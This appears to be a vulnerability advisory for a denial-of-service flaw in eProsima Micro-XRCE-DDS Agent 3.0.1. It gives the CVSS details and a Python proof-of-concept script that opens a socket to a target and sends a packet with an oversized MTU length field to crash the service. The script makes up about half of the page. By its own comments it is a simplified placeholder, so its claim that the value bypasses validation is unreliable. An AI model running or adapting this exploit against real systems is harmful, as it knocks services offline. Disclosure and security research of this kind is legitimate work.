An issue in Eprosima Micro-XREC-DDS Agent v.3.0.1 allows a remote attacker to cause a denial of service via a crafted packet to the MTU length field
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Eprosima Micro-XRCE-DDS Agent 3.0.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
import struct
# PoC for CVE-2025-63547
# This script sends a crafted packet with a malicious MTU length field
# to trigger a Denial of Service in Micro-XRCE-DDS Agent v3.0.1.
TARGET_IP = "192.168.1.100"
TARGET_PORT = 8888 # Default Micro-XRCE-DDS Agent port
def create_crafted_packet():
# Note: The actual byte structure of Micro-XRCE-DDS headers is required for a precise exploit.
# This is a representative example demonstrating the manipulation of a length field.
# Header placeholder (simplified)
header = b'\x01\x00'
# Malicious MTU Length Field (e.g., 0xFFFF or a very large integer)
# This value bypasses validation and causes the crash
malicious_mtu = struct.pack('!H', 0xFFFF)
# Padding/Rest of the packet
payload = b'A' * 64
return header + malicious_mtu + payload
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((TARGET_IP, TARGET_PORT))
packet = create_crafted_packet()
print(f"Sending crafted packet to {TARGET_IP}:{TARGET_PORT}...")
sock.send(packet)
print("Packet sent. Check if the service has crashed.")
sock.close()
except Exception as e:
print(f"An error occurred: {e}")